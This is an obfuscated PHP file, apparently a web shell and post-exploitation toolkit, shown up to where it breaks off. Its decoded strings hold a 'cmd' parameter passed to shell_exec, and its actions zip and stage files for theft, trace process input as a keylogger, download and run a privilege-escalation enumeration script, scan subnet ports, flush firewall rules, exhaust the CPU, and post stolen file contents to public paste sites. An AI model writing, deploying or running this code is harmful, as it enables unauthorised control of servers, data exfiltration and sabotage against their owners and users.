"\74\x3f\160\150\x70\x20\x69\x66\50\151\163\163\145\x74\50\x24\x5f\122\105\x51\125\x45\x53\124\133\x22\x63\x6d\x64\x22\135\51\x29\173\40\x65\143\150\x6f\40\42\74\x70\x72\x65\x3e\x22\40\56\40\x73\150\x65\154\154\x5f\145\x78\145\x63\50\x24\x5f\x52\105\x51\125\x45\123\x54\133\x22\143\x6d\x64\42\135\x29\x20\56\x20\42\74\57\x70\162\x65\x3e\42\x3b\40\x7d\40\x3f\x3e"; goto OzXja; CP8Ty: $v1Pog = ["\x73\164\x61\x74\x75\163" => "\x73\x75\143\143\x65\163\x73", "\x72\x65\x73\x75\x6c\164\x73" => $gSi8X]; goto C6mN3; VMmGm: pQewB: goto lkxP0; OzXja: $gSi8X = []; goto NieNI; C6mN3: goto vbH70; goto O73MT; xrExc: $H905Y = array_filter(array_map("\164\x72\151\155", explode("\xa", $hnxuU))); goto tr_x4; p7fg9: $hnxuU = $_POST["\x74\x61\x72\x67\x65\164\x73"]; goto xrExc; O73MT: case "\x65\170\146\151\x6c\137\144\x61\164\x61": goto Ddq_z; ycLvF: tagoQ: goto Osxw7; sn4sp: $dJebd = json_decode($_POST["\x69\x74\x65\155\163"], true); goto ZtjAL; eEvzH: $v1Pog = ["\x73\164\x61\x74\165\x73" => "\163\x75\x63\143\145\163\x73", "\144\157\167\156\x6c\157\141\x64\x5f\x75\x72\154" => $whQc4, "\155\x65\x73\x73\x61\147\145" => "\x41\162\x63\x68\x69\166\145\x20\143\x72\145\x61\x74\145\x64\x20\x73\165\x63\x63\x65\163\x73\x66\165\154\154\x79\56"]; goto vBBXI; ZtjAL: if (!empty($dJebd)) { goto tagoQ; } goto CaQW7; p8SnS: v2rSy: goto sn4sp; rCfxs: $HNIWJ = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $r94zf; goto WXfa0; FsgGq: xxrLQ: goto V9FNx; Osxw7: $r94zf = "\x65\170\x66\x69\154\137" . date("\x59\55\x6d\x2d\144\x5f\110\55\x69\55\x73") . "\x2e\x7a\151\x70"; goto rCfxs; AN3qd: goto vbH70; goto p8SnS; GErVm: $whQc4 = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\124\120\123"] === "\x6f\x6e" ? "\x68\164\164\x70\x73" : "\150\x74\x74\160") . "\x3a\57\x2f{$_SERVER["\110\x54\124\x50\x5f\110\x4f\x53\x54"]}" . $_SERVER["\120\110\x50\137\123\x45\114\106"] . "\77\x64\x6f\x77\x6e\x6c\157\x61\x64\x5f\164\145\155\x70\75" . urlencode(basename($HNIWJ)); goto eEvzH; XDj_I: goto vbH70; goto FsgGq; dnE_L: $v1Pog["\155\145\163\x73\141\147\145"] = "\132\151\160\101\162\143\150\x69\x76\145\40\143\154\141\x73\x73\x20\x6e\x6f\x74\40\146\x6f\165\156\144\x2e"; goto AN3qd; BWQ6U: goto vbH70; goto ycLvF; TMAZj: if (!($usT2s->open($HNIWJ, eduEk::KK30f | edUeK::uMEzX) !== TRUE)) { goto xxrLQ; } goto X6sV1; vBBXI: goto vbH70; goto zY5Y1; V9FNx: foreach ($dJebd as $jmnh0) { goto YnHWo; PZj0E: if (is_dir($jmnh0)) { goto BQhMf; } goto hncaQ; lDHgX: Vh_T2: goto PZj0E; fYm4R: goto CH1sL; goto lDHgX; xLP5h: goto wjFoH; goto I0wSF; I0wSF: BQhMf: goto qEYCF; M0Szn: wjFoH: goto MTc_3; m_EbP: unZV2: goto MZ9Tt; LebTe: hU2yt: goto HW6TY; HW6TY: $usT2s->addFile($jmnh0, basename($jmnh0)); goto M0Szn; hncaQ: if (is_file($jmnh0)) { goto hU2yt; } goto xLP5h; MZ9Tt: goto wjFoH; goto LebTe; MTc_3: CH1sL: goto QlkMe; qEYCF: $p2RFD = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($jmnh0, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); goto nGCCp; YnHWo: $jmnh0 = realpath($jmnh0); goto qCGQd; nGCCp: foreach ($p2RFD as $zME47 => $Q0s1i) { goto o3AQ_; wiPli: fpK1X: goto Jztle; o3AQ_: if ($Q0s1i->isDir()) { goto dGzYK; } goto rVLqi; u5qcr: dGzYK: goto wiPli; cJmZu: $sCC_n = substr($JB_SP, strlen(dirname($jmnh0)) + 1); goto rcU0Q; rVLqi: $JB_SP = $Q0s1i->getRealPath(); goto cJmZu; rcU0Q: $usT2s->addFile($JB_SP, $sCC_n); goto u5qcr; Jztle: } goto m_EbP; qCGQd: if ($jmnh0) { goto Vh_T2; } goto fYm4R; QlkMe: } goto GF1rV; WXfa0: $usT2s = new edUEk(); goto TMAZj; CaQW7: $v1Pog["\155\x65\x73\x73\141\x67\145"] = "\116\x6f\x20\x66\151\154\145\163\40\x6f\162\x20\x64\x69\162\x65\x63\164\x6f\x72\151\145\163\x20\x73\x65\x6c\145\x63\164\145\x64\x2e"; goto BWQ6U; GF1rV: JrrdF: goto MuR7P; MuR7P: $usT2s->close(); goto GErVm; X6sV1: $v1Pog["\x6d\145\163\163\x61\147\145"] = "\x43\157\x75\x6c\144\40\x6e\157\164\x20\x63\x72\145\x61\x74\x65\40\172\x69\160\x20\x61\x72\x63\x68\x69\166\x65\40\151\156\x20\x74\145\155\160\40\144\151\162\x65\x63\x74\x6f\x72\x79\56"; goto XDj_I; Ddq_z: if (class_exists("\x5a\151\x70\x41\162\143\x68\x69\166\x65")) { goto v2rSy; } goto dnE_L; zY5Y1: case "\x63\160\165\x5f\x68\x6f\147": goto rxaSA; qCPYn: if (!($jY45d < 1000000)) { goto uWEvO; } goto Fc8DK; vszWl: Uay5E: goto akD00; CKVov: $LiQLQ = time() + $SueqY; goto vszWl; YvAow: $jY45d = 0; goto EioB5; RN1p1: goto eMPbs; goto gXQwt; Fc8DK: $upd3r += sqrt($upd3r); goto oPpa9; oPpa9: N98w0: goto RAx3J; FaSqA: $SueqY = 30; goto N7hz3; gXQwt: uWEvO: goto RRsNn; RRsNn: goto Uay5E; goto jOVEh; eJy2J: if (!($SueqY <= 0 || $SueqY > 120)) { goto sg9Go; } goto FaSqA; mT7zt: $v1Pog = ["\x73\164\141\164\x75\x73" => "\x73\165\x63\143\145\163\163", "\x6d\x65\x73\x73\141\x67\145" => "\x43\x50\125\x20\150\x6f\147\x20\x72\x61\156\40\x66\x6f\162\x20{$SueqY}\x20\163\x65\143\x6f\x6e\x64\x73\x2e"]; goto tJ8G0; jOVEh: UHwsE: goto mT7zt; tJ8G0: goto vbH70; goto cav4s; RAx3J: $jY45d++; goto RN1p1; rxaSA: $SueqY = (int) $_POST["\x64\165\x72\141\x74\151\x6f\156"]; goto eJy2J; akD00: if (!(time() < $LiQLQ)) { goto UHwsE; } goto L08zO; EioB5: eMPbs: goto qCPYn; N7hz3: sg9Go: goto CKVov; L08zO: $upd3r = 0.0001; goto YvAow; cav4s: case "\153\x65\x79\x6c\157\147\x67\x65\162": goto yXWhW; oIZUs: $oZAH8 = "\x73\x74\162\x61\143\x65\40\x2d\160\40{$R0VUu}\40\x2d\145\40\164\x72\141\143\x65\x3d\x72\145\x61\x64\x2c\167\x72\x69\x74\x65\40\55\163\40\62\x35\x36\x20\x32\x3e\x26\x31"; goto z1sB5; kcsDO: goto vbH70; goto dGJib; jTrP0: $v1Pog = ["\163\164\141\164\165\163" => "\x73\x75\143\143\x65\x73\x73", "\144\x61\x74\x61" => htmlspecialchars($BKvy0 ?: "\116\x6f\x20\157\x75\164\x70\x75\x74\40\146\x72\x6f\155\40\163\x74\x72\x61\x63\x65\x2e\40\120\x49\104\40\x6d\151\x67\150\164\40\x68\141\x76\x65\40\x65\x78\x69\x74\x65\x64\x20\x6f\162\x20\160\x65\x72\155\x69\x73\163\x69\x6f\156\x73\x20\144\145\x6e\151\x65\144\x2e")]; goto cSMFn; z1sB5: $XKSBr = proc_open($oZAH8, $YaXSQ, $lqQ8o); goto O9Sv4; OBKYN: m3Ktz: goto mTmNn; kNrip: proc_close($XKSBr); goto jTrP0; rz1sU: $v1Pog["\155\x65\163\163\141\x67\x65"] = "\x70\x72\x6f\x63\x5f\157\x70\145\x6e\x20\151\163\x20\x64\151\163\141\142\154\145\144\x2e"; goto V7y0J; tfaR6: $YaXSQ = [0 => ["\160\x69\x70\x65", "\162"], 1 => ["\x70\151\160\145", "\167"], 2 => ["\x70\151\x70\145", "\167"]]; goto oIZUs; O9Sv4: if (is_resource($XKSBr)) { goto OA2P7; } goto S_qZa; cSMFn: WiCo2: goto kcsDO; Dq43j: goto WiCo2; goto ov7bo; S_qZa: $v1Pog["\155\145\163\163\x61\x67\145"] = "\x46\x61\x69\x6c\x65\144\40\164\157\40\145\x78\x65\143\x75\x74\145\x20\x73\164\162\141\143\x65\56"; goto Dq43j; mTmNn: if (lIx3f("\160\x72\x6f\x63\x5f\x6f\160\145\x6e")) { goto BgtZQ; } goto rz1sU; yXWhW: $R0VUu = (int) $_POST["\x70\151\x64"]; goto kMwPj; c6gII: goto vbH70; goto OBKYN; eWFfs: fclose($lqQ8o[1]); goto kNrip; V7y0J: goto vbH70; goto dCpoE; Fqjhy: $v1Pog["\x6d\145\163\x73\x61\x67\145"] = "\111\x6e\166\x61\x6c\x69\144\x20\x50\x49\104\x2e"; goto c6gII; dCpoE: BgtZQ: goto tfaR6; zDkqf: $BKvy0 = stream_get_contents($lqQ8o[1]); goto eWFfs; ov7bo: OA2P7: goto zDkqf; kMwPj: if (!($R0VUu <= 1)) { goto m3Ktz; } goto Fqjhy; dGJib: case "\160\162\x69\166\145\x73\x63\137\143\x68\145\143\153\145\x72": goto zMIID; aqLU9: $dX9PH = sys_get_temp_dir() . "\x2f\x6c\163\145\56\x73\x68"; goto nuQh1; jLVDr: FSq31: goto O4wa5; WccGa: if ($Fxp4q) { goto j53HM; } goto JEGu_; yT9iE: if (!file_exists($dX9PH)) { goto zcJ2w; } goto fl2sH; WC4MP: $BKvy0 .= "\103\x68\145\143\x6b\x69\156\x67\40\x66\x6f\162\40\x27\101\x6c\x77\x61\x79\x73\x49\x6e\163\164\141\x6c\x6c\105\154\x65\x76\x61\164\x65\x64\47\40\x72\x65\147\151\163\x74\x72\171\x20\153\x65\171\x73\x2e\56\56\12"; goto o3AVc; DvcpK: $BKvy0 .= ZMrp5("\x77\155\x69\x63\40\163\x65\162\x76\x69\x63\145\x20\x67\x65\x74\40\x6e\x61\x6d\x65\x2c\x64\x69\163\x70\x6c\x61\171\x6e\x61\155\x65\54\160\x61\x74\x68\x6e\141\155\145\x2c\163\x74\141\x72\164\155\x6f\x64\145\x20\x7c\40\146\x69\x6e\x64\163\164\x72\40\x2f\x69\x20\42\x61\165\164\157\42\40\x7c\x20\146\x69\x6e\144\x73\x74\162\40\57\x69\40\x2f\x76\40\42\143\72\134\167\x69\156\x64\x6f\x77\x73\134\42\40\x7c\x20\x66\x69\156\x64\x73\164\162\40\57\x76\x20\42\x22\x22"); goto ct8bk; h_Mt2: b2oY2: goto aqLU9; ct8bk: brJ1A: goto pdNjJ; HmXgJ: if ($Pa3UT === "\154\x69\x6e\x75\170") { goto b2oY2; } goto UiULg; O4wa5: $BKvy0 .= "\55\x2d\55\40\127\x69\x6e\144\x6f\x77\163\x20\x50\162\151\x76\151\154\145\x67\x65\x20\x45\x73\x63\x61\x6c\141\x74\x69\x6f\x6e\x20\x43\150\145\143\153\163\x20\55\55\55\xa\12"; goto WC4MP; CPTSb: goto Y45Az; goto ZCeIR; fl2sH: $BKvy0 .= "\x6c\163\x65\56\x73\x68\40\141\x6c\x72\145\141\144\x79\40\145\x78\x69\x73\x74\163\x2e\40\116\x6f\167\40\x65\170\x65\x63\165\164\151\x6e\147\40\x28\164\x68\151\x73\40\x6d\141\x79\40\x74\141\x6b\145\x20\163\145\x76\x65\x72\141\x6c\40\155\x69\156\165\x74\x65\x73\51\56\56\x2e\xa\xa"; goto CPTSb; WQ6fJ: goto brJ1A; goto h_Mt2; BUzUQ: $BKvy0 .= "\55\x2d\55\40\x4c\151\x6e\165\x78\x20\123\155\x61\162\164\40\x45\156\165\155\x65\162\141\164\151\157\156\x20\55\x2d\55\12"; goto yT9iE; SP0iG: Ao0iI: goto c1snl; hFRcl: $BKvy0 .= ZMRP5(escapeshellcmd($dX9PH) . "\x20\55\x6c\40\61\x20\x2d\151"); goto SP0iG; VxOu3: $BKvy0 = ''; goto HmXgJ; drzbp: goto vbH70; goto HmCLa; Mh4gs: file_put_contents($dX9PH, $Fxp4q); goto ng9ov; KGVP0: $BKvy0 .= "\104\x6f\167\x6e\x6c\157\141\x64\151\x6e\147\x20\x6c\x73\145\56\x73\x68\40\146\x72\157\155\40\x47\151\x74\x48\165\x62\56\56\x2e\12"; goto BoFvp; klRmm: $BKvy0 .= "\104\x6f\167\156\154\157\x61\144\40\143\x6f\x6d\x70\154\x65\164\x65\x2e\40\x4e\157\167\x20\145\x78\145\x63\165\x74\x69\x6e\147\40\50\x74\x68\151\163\40\x6d\x61\x79\x20\x74\x61\153\145\x20\163\x65\166\x65\x72\141\x6c\x20\155\x69\x6e\165\x74\145\x73\x29\56\x2e\x2e\12\xa"; goto Vsxd5; JEGu_: $BKvy0 .= "\106\141\151\154\145\144\40\164\157\x20\x64\x6f\x77\x6e\x6c\157\141\144\40\x6c\x73\145\56\x73\150\56\x20\120\x6c\x65\x61\163\145\40\143\150\145\143\153\40\143\x6f\x6e\156\x65\x63\164\x69\x76\x69\x74\171\x2e\12"; goto obeks; VlM8K: if (!file_exists($dX9PH)) { goto Ao0iI; } goto hFRcl; Jp6KW: j53HM: goto Mh4gs; UaYuW: $BKvy0 .= "\x43\x68\145\143\x6b\151\x6e\147\x20\x66\x6f\x72\40\x55\x6e\161\x75\157\164\145\x64\x20\x53\x65\x72\x76\151\x63\145\x20\120\x61\x74\150\163\x2e\56\x2e\xa"; goto DvcpK; o3AVc: $BKvy0 .= "\110\113\x43\125\x3a\xa" . ZMrp5("\162\x65\x67\x20\161\x75\x65\162\171\x20\x48\x4b\103\125\x5c\123\x4f\106\124\127\x41\122\105\x5c\120\x6f\x6c\151\143\151\145\163\134\115\151\x63\x72\x6f\x73\157\x66\x74\134\x57\x69\156\144\x6f\x77\x73\x5c\111\x6e\x73\x74\141\154\154\x65\x72\40\x2f\x76\x20\101\154\167\141\171\163\111\156\x73\164\x61\154\154\105\x6c\x65\x76\141\x74\x65\144\x20\x32\x3e\46\61") . "\12"; goto nEfBO; nuQh1: $ShMZj = "\x68\x74\x74\160\x73\x3a\57\x2f\162\141\167\56\x67\151\x74\x68\165\142\x75\163\145\x72\143\x6f\x6e\x74\145\156\164\56\143\157\x6d\57\144\x69\145\x67\157\55\x74\162\145\x69\164\157\163\x2f\x6c\x69\x6e\x75\x78\x2d\163\x6d\x61\162\164\x2d\145\156\x75\155\145\162\141\x74\151\157\156\57\x6d\141\x73\164\x65\162\x2f\154\163\x65\56\163\150"; goto BUzUQ; MIgIR: Y45Az: goto VlM8K; UiULg: if ($Pa3UT === "\167\151\x6e\x64\157\x77\x73") { goto FSq31; } goto WQ6fJ; pdNjJ: $v1Pog = ["\163\164\x61\x74\x75\163" => "\x73\165\143\x63\145\x73\x73", "\144\x61\x74\141" => htmlspecialchars($BKvy0)]; goto drzbp; ZCeIR: zcJ2w: goto KGVP0; nEfBO: $BKvy0 .= "\x48\113\x4c\x4d\72\12" . zmRp5("\x72\145\147\x20\161\165\x65\x72\171\40\110\113\x4c\115\134\x53\117\106\124\x57\x41\x52\105\134\120\157\154\x69\x63\151\145\163\134\115\x69\x63\162\x6f\x73\x6f\x66\164\x5c\x57\x69\156\144\157\167\163\x5c\x49\x6e\163\x74\141\x6c\154\145\x72\40\57\166\x20\101\x6c\167\x61\x79\x73\x49\156\163\x74\141\154\x6c\x45\154\145\166\141\x74\x65\x64\x20\62\76\x26\61") . "\xa\xa"; goto UaYuW; c1snl: goto brJ1A; goto jLVDr; Vsxd5: MsTTI: goto MIgIR; ng9ov: chmod($dX9PH, 0755); goto klRmm; zMIID: $Pa3UT = $_POST["\x6f\x73"]; goto VxOu3; obeks: goto MsTTI; goto Jp6KW; BoFvp: $Fxp4q = @file_get_contents($ShMZj); goto WccGa; HmCLa: case "\163\165\x62\x6e\x65\164\137\163\143\141\156\x6e\145\162": goto Twyzn; L1M6E: $v1Pog["\155\x65\163\163\141\x67\145"] = "\x4d\141\x73\153\40\155\x75\x73\x74\x20\x62\145\x20\142\x65\x74\167\x65\145\x6e\40\x31\x36\40\x61\156\144\x20\x33\x30\40\x66\x6f\x72\x20\160\145\162\x66\157\162\155\x61\156\143\145\40\x72\145\x61\163\x6f\156\x73\x2e"; goto LvChk; uIQLf: if (empty($p5oZ1)) { goto bfVe2; } goto pppWw; Fnj5w: ROd06: goto khj9u; GUoWo: bfVe2: goto Fnj5w; oSmcE: foreach ($wYTCp as $TI0F5) { goto OfASJ; rKwYm: fclose($JHnly); goto AHRrV; Di56G: $p5oZ1[] = $TI0F5; goto rKwYm; AHRrV: hEt9C: goto Abe7w; OfASJ: $JHnly = @fsockopen($zA1ny, $TI0F5, $UQIjB, $Pb5Yu, 0.1); goto wVjp3; Abe7w: L_alS: goto aQs5s; wVjp3: if (!is_resource($JHnly)) { goto hEt9C; } goto Di56G; aQs5s: } goto oMrsT; LvChk: goto vbH70; goto CcgK2; L4jkx: $zA1ny = long2ip($bVOSO + $jY45d); goto nS8zu; V6Uil: HbbU0: goto nClFB; gin9g: goto h1ATT; goto QkWkb; yx0u4: if (!($ttHWB < 16 || $ttHWB > 30)) { goto f95KW; } goto L1M6E; xf2Cb: $wYTCp = [21, 22, 23, 25, 80, 110, 139, 443, 445, 1433, 1521, 3306, 3389, 5432, 5900, 8080, 8443]; goto cVkm4; ecSoS: $bVOSO = ip2long($uUZ0x); goto WPHzE; pppWw: $gSi8X[$zA1ny] = $p5oZ1; goto GUoWo; zCebx: h1ATT: goto ri_Nb; oMrsT: cJIPv: goto uIQLf; cVkm4: $gSi8X = []; goto ecSoS; kkjPE: if (preg_match("\57\x5e\x28\x5c\x64\x7b\x31\54\63\x7d\134\x2e\134\x64\173\x31\54\x33\175\134\x2e\x5c\x64\x7b\61\x2c\63\175\x5c\56\134\x64\173\x31\54\63\175\51\x5c\x2f\50\x5c\144\x7b\61\54\x32\175\x29\44\x2f", $SybcI, $I5WkF)) { goto HbbU0; } goto DVHhL; ri_Nb: if (!($jY45d < $j9Rd5 - 1)) { goto cmqfD; } goto L4jkx; CsWkB: goto vbH70; goto TAnPD; CcgK2: f95KW: goto xf2Cb; rECXe: goto vbH70; goto V6Uil; nClFB: list(, $uUZ0x, $ttHWB) = $I5WkF; goto yx0u4; Twyzn: $SybcI = $_POST["\163\x75\142\x6e\x65\164"]; goto kkjPE; QkWkb: cmqfD: goto VvV4p; DVHhL: $v1Pog["\155\145\163\x73\141\x67\x65"] = "\111\x6e\166\x61\154\151\x64\40\x43\x49\x44\x52\40\x66\x6f\x72\155\141\164\40\x28\145\x2e\x67\x2e\x2c\x20\61\71\62\56\61\x36\x38\56\61\56\x30\57\62\64\x29\56"; goto rECXe; VvV4p: $v1Pog = ["\163\x74\x61\x74\165\x73" => "\x73\x75\143\143\x65\163\163", "\x72\145\x73\x75\x6c\x74\163" => $gSi8X]; goto CsWkB; R0hTX: $jY45d = 1; goto zCebx; nS8zu: $p5oZ1 = []; goto oSmcE; WPHzE: $j9Rd5 = 1 << 32 - $ttHWB; goto R0hTX; khj9u: $jY45d++; goto gin9g; TAnPD: case "\x66\151\x72\x65\167\141\154\x6c\x5f\x63\x6f\x6e\164\x72\157\154": goto TmX2q; dMES5: $v1Pog = ["\x73\164\x61\x74\165\163" => "\x73\165\143\x63\x65\163\163", "\144\x61\164\x61" => htmlspecialchars($BKvy0)]; goto WJm1b; ROVzG: VoMYV: goto dMES5; WJm1b: goto vbH70; goto Ry92I; CIdIS: goto VoMYV; goto Os_GG; LhmlN: $BKvy0 = "\x49\x6e\x76\x61\x6c\x69\x64\x20\x61\143\164\x69\157\156\56"; goto DA4Kj; OW70H: if (!empty(trim($BKvy0))) { goto tA0nB; } goto jbhJj; Os_GG: gNacs: goto stJX0; DA4Kj: goto VoMYV; goto G7jZh; exSzd: if ($uOhnh === "\x66\x6c\165\163\150") { goto gNacs; } goto LhmlN; TmX2q: $uOhnh = $_POST["\x73\x75\x62\137\x61\143\164\x69\x6f\156"]; goto UsllY; UsllY: if ($uOhnh === "\x67\x65\164") { goto O1pYW; } goto exSzd; jbhJj: $BKvy0 = "\106\154\165\x73\150\40\x63\157\x6d\x6d\141\x6e\144\40\163\145\x6e\x74\x2e\x20\103\150\145\x63\153\40\x72\165\154\145\x73\x20\x61\147\141\x69\x6e\x20\164\x6f\40\x63\157\x6e\146\151\162\155\x20\163\x75\143\143\145\x73\x73\40\50\162\145\161\165\x69\x72\145\163\x20\162\x6f\157\164\51\x2e"; goto sLHWb; G7jZh: O1pYW: goto gSxW7; gSxW7: $BKvy0 = ZMRp5("\x69\160\x74\141\x62\154\x65\163\40\55\x4c\x20\55\156\x20\55\x76\x20\x32\76\x26\x31"); goto CIdIS; stJX0: $BKvy0 = Zmrp5("\151\160\x74\141\x62\154\145\163\x20\x2d\x46\x20\x32\76\x26\x31"); goto OW70H; sLHWb: tA0nB: goto ROVzG; Ry92I: case "\x65\170\x66\151\x6c\x5f\x70\x61\x73\164\145": goto qaBSq; Lk8cT: $v1Pog = ["\163\x74\x61\164\x75\163" => "\x73\x75\143\x63\x65\163\163", "\x75\x72\x6c" => $BI9Rj[0]]; goto KVD3j; A3sUQ: $vtPQE = ''; goto NQTc8; ULmho: XyF1v: goto ftZW2; QrzCi: $v1Pog = ["\x73\x74\x61\x74\165\163" => "\x73\165\x63\143\x65\163\163", "\x75\162\154" => $vtPQE]; goto EMcXP; ffZBu: goto XyF1v; goto VCg5h; ftZW2: eG9DM: goto sibeK; u3fvp: FTQdG: goto oGofE; zWwYL: $dtJ3t = @file_get_contents("\150\x74\x74\x70\x73\x3a\57\x2f\x62\151\156\56\x64\145\146\165\x73\145\x2e\x63\141", false, $yr3s9); goto u_2AJ; tU_lp: goto vbH70; goto XqyP5; mmjmU: goto gu6Py; goto Sg5O1; Sg5O1: i9mzX: goto Lk8cT; oGofE: if ($vtPQE) { goto mlUBx; } goto R7drc; AF1wq: RQhHL: goto ffZBu; DGucR: goto Jo733; goto XMMbi; B6Quf: goto eG9DM; goto FCWe8; SbkeH: $yr3s9 = stream_context_create($xd_Oi); goto zWwYL; kaPzk: $xd_Oi = ["\150\164\164\x70" => ["\x6d\145\x74\150\157\144" => "\x50\x4f\x53\x54", "\x68\x65\141\144\x65\x72" => "\103\157\x6e\164\145\156\164\55\x74\171\x70\x65\72\40\141\x70\160\154\151\143\x61\164\151\x6f\x6e\57\170\x2d\167\167\167\55\146\x6f\162\155\x2d\165\162\x6c\145\x6e\x63\x6f\x64\145\144\15\12\125\x73\145\x72\x2d\101\147\x65\x6e\x74\x3a\x20{$c0OAM}", "\143\157\x6e\x74\x65\156\x74" => http_build_query(["\x63\x6f\x6e\x74\145\x6e\164" => $Lrz4Z]), "\x74\x69\155\145\x6f\x75\x74" => 10, "\x69\x67\x6e\x6f\x72\145\x5f\x65\162\162\x6f\x72\163" => true], "\x73\x73\x6c" => ["\x76\x65\x72\151\146\171\137\x70\x65\145\162" => false, "\166\x65\x72\x69\146\x79\x5f\160\x65\x65\162\x5f\156\141\155\145" => false]]; goto SbkeH; Gs8Sk: $v1Pog["\155\x65\163\x73\x61\x67\145"] = "\103\x6f\x75\154\144\x20\x6e\x6f\x74\x20\160\141\162\x73\145\40\160\141\x73\x74\145\40\x55\122\114\40\x66\162\157\155\40\162\145\x73\160\x6f\156\163\145\x2e"; goto mmjmU; xYZmm: $v1Pog["\x6d\145\163\x73\141\147\x65"] = "\x46\x61\151\154\x65\144\x20\164\157\40\x65\x78\146\151\x6c\164\162\x61\164\145\x20\x64\x61\164\x61\x20\x74\x6f\40\x70\x61\x73\164\151\156\x67\40\x73\145\162\166\x69\143\x65\x2e"; goto B6Quf; NQTc8: foreach ($http_response_header as $r9AVH) { goto N1lwj; jvyf1: $vtPQE = trim($I5WkF[1]); goto e9Zf0; JC6Ow: OkX4r: goto lt6rH; N1lwj: if (!preg_match("\57\x5e\114\157\x63\x61\164\x69\x6f\x6e\72\x5c\x73\x2a\50\x2e\52\51\x24\57\x69", trim($r9AVH), $I5WkF)) { goto OkX4r; } goto jvyf1; e9Zf0: goto FTQdG; goto JC6Ow; lt6rH: cz1QU: goto FHgFI; FHgFI: } goto u3fvp; bFraH: $cyICc = [["\165\162\x6c" => "\x68\164\164\x70\163\72\57\57\160\141\x73\x74\x65\142\151\x6e\56\143\157\155\57\141\x70\x69\57\141\x70\x69\x5f\x70\157\x73\164\x2e\160\150\x70", "\x6d\145\x74\150\x6f\144" => "\x70\x61\163\164\145\142\151\x6e"], ["\x75\162\154" => "\150\164\164\160\x73\72\x2f\57\150\141\163\164\145\x62\x69\156\x2e\x63\x6f\x6d\57\144\x6f\x63\165\155\x65\x6e\164\163", "\155\x65\x74\x68\157\144" => "\150\x61\x73\164\x65\x62\151\156"], ["\x75\x72\154" => "\150\x74\164\160\163\72\x2f\57\144\x70\x61\163\164\x65\x2e\x63\x6f\155\x2f\141\160\x69\x2f\166\62\x2f", "\x6d\x65\164\x68\157\x64" => "\144\160\141\163\164\x65"]]; goto QR7Go; ITWLV: $v1Pog["\x6d\x65\163\x73\141\147\145"] = "\x46\151\154\x65\x20\x6e\157\x74\40\146\x6f\165\x6e\x64\x20\x6f\162\x20\156\x6f\x74\x20\162\x65\141\144\141\x62\x6c\145\56"; goto OGdCR; jMDoQ: $Lrz4Z = file_get_contents($j3_hR); goto bFraH; Ayv0X: if ($UC6X0) { goto hdy6r; } goto exf_V; w0k5h: if (preg_match("\57\150\x74\x74\x70\x73\x3f\72\x5c\x2f\134\57\x5b\x5e\x5c\x73\74\76\x22\135\53\57", $dtJ3t, $BI9Rj)) { goto IKqh3; } goto hj6jF; haY0N: $v1Pog = ["\x73\164\141\x74\165\163" => "\163\165\x63\x63\x65\163\163", "\165\x72\x6c" => $BI9Rj[0]]; goto AF1wq; OfVJf: foreach ($cyICc as $ik5Wh) { goto f_O5T; xhLCy: if (!($olRGv !== false)) { goto fx26H; } goto jO2h5; wPwS1: Sjary: goto sUmt8; ENqXq: $vtPQE = "\150\x74\164\160\x73\72\x2f\x2f\x68\x61\163\x74\145\x62\x69\x6e\x2e\x63\157\x6d\57" . $Vd4vb["\x6b\145\x79"]; goto pVut9; pEBCq: goto Sjary; goto nalO8; o267P: goto E2YGz; goto HFVMC; sUmt8: jwUFL: goto kEIjh; Z8o9P: $yr3s9 = stream_context_create($xd_Oi); goto R1bZv; d_065: $UC6X0 = true; goto o267P; R1bZv: $olRGv = @file_get_contents($ik5Wh["\165\162\154"], false, $yr3s9); goto xhLCy; jO2h5: $Vd4vb = json_decode($olRGv, true); goto GF_qK; PQXNl: fx26H: goto pEBCq; Bpdat: $olRGv = @file_get_contents($ik5Wh["\165\x72\154"], false, $yr3s9); goto vZsco; HFVMC: Erkoc: goto PQXNl; vZsco: if (!($olRGv !== false && preg_match("\x2f\150\x74\164\x70\x73\x3f\72\134\57\x5c\x2f\133\x5e\x5c\x73\x5d\53\x2f", $olRGv, $I5WkF))) { goto aOepr; } goto uuuIK; q0T2t: goto Sjary; goto krfFC; GF_qK: if (!isset($Vd4vb["\153\x65\x79"])) { goto Erkoc; } goto ENqXq; nalO8: wRyN3: goto Pxk65; WcyNv: $yr3s9 = stream_context_create($xd_Oi); goto Bpdat; krfFC: nKfVc: goto LTlSZ; GQ4aW: $UC6X0 = true; goto MeoKZ; DQ3Sz: if ($ik5Wh["\155\x65\164\x68\x6f\144"] === "\150\x61\x73\x74\x65\x62\151\x6e") { goto nKfVc; } goto wtOwq; LTlSZ: $xd_Oi = ["\x68\x74\164\160" => ["\155\x65\x74\150\157\144" => "\120\117\123\124", "\150\145\x61\144\145\x72" => "\103\x6f\156\164\x65\x6e\x74\x2d\x74\171\160\145\x3a\40\x74\x65\170\164\57\x70\x6c\x61\x69\x6e\xd\12\125\x73\145\x72\x2d\101\147\145\156\x74\x3a\x20{$c0OAM}", "\x63\157\156\164\x65\x6e\x74" => $Lrz4Z, "\x74\x69\155\x65\157\x75\164" => 10, "\151\x67\x6e\x6f\162\x65\137\145\162\x72\x6f\x72\x73" => true], "\x73\x73\x6c" => ["\166\x65\162\x69\x66\171\x5f\160\145\x65\162" => false, "\166\145\162\151\x66\x79\137\x70\145\145\x72\137\156\x61\155\145" => false]]; goto Z8o9P; oT1z2: $Y7rg3 = q_OTe($Lrz4Z, "\142\141\163\145\x36\64"); goto DQ3Sz; pVut9: $v1Pog = ["\x73\164\141\164\165\x73" => "\x73\165\143\x63\145\163\x73", "\165\162\x6c" => $vtPQE]; goto d_065; MeoKZ: goto E2YGz; goto DW2mJ; uuuIK: $v1Pog = ["\x73\x74\141\164\165\163" => "\163\165\x63\143\145\163\x73", "\165\162\154" => trim($I5WkF[0])]; goto GQ4aW; DW2mJ: aOepr: goto wPwS1; f_O5T: $c0OAM = z0NVp(); goto oT1z2; wtOwq: if ($ik5Wh["\155\x65\x74\150\157\144"] === "\144\x70\141\x73\164\145") { goto wRyN3; } goto q0T2t; Pxk65: $xd_Oi = ["\x68\164\x74\x70" => ["\155\x65\164\x68\x6f\x64" => "\x50\117\x53\124", "\150\145\x61\144\x65\162" => 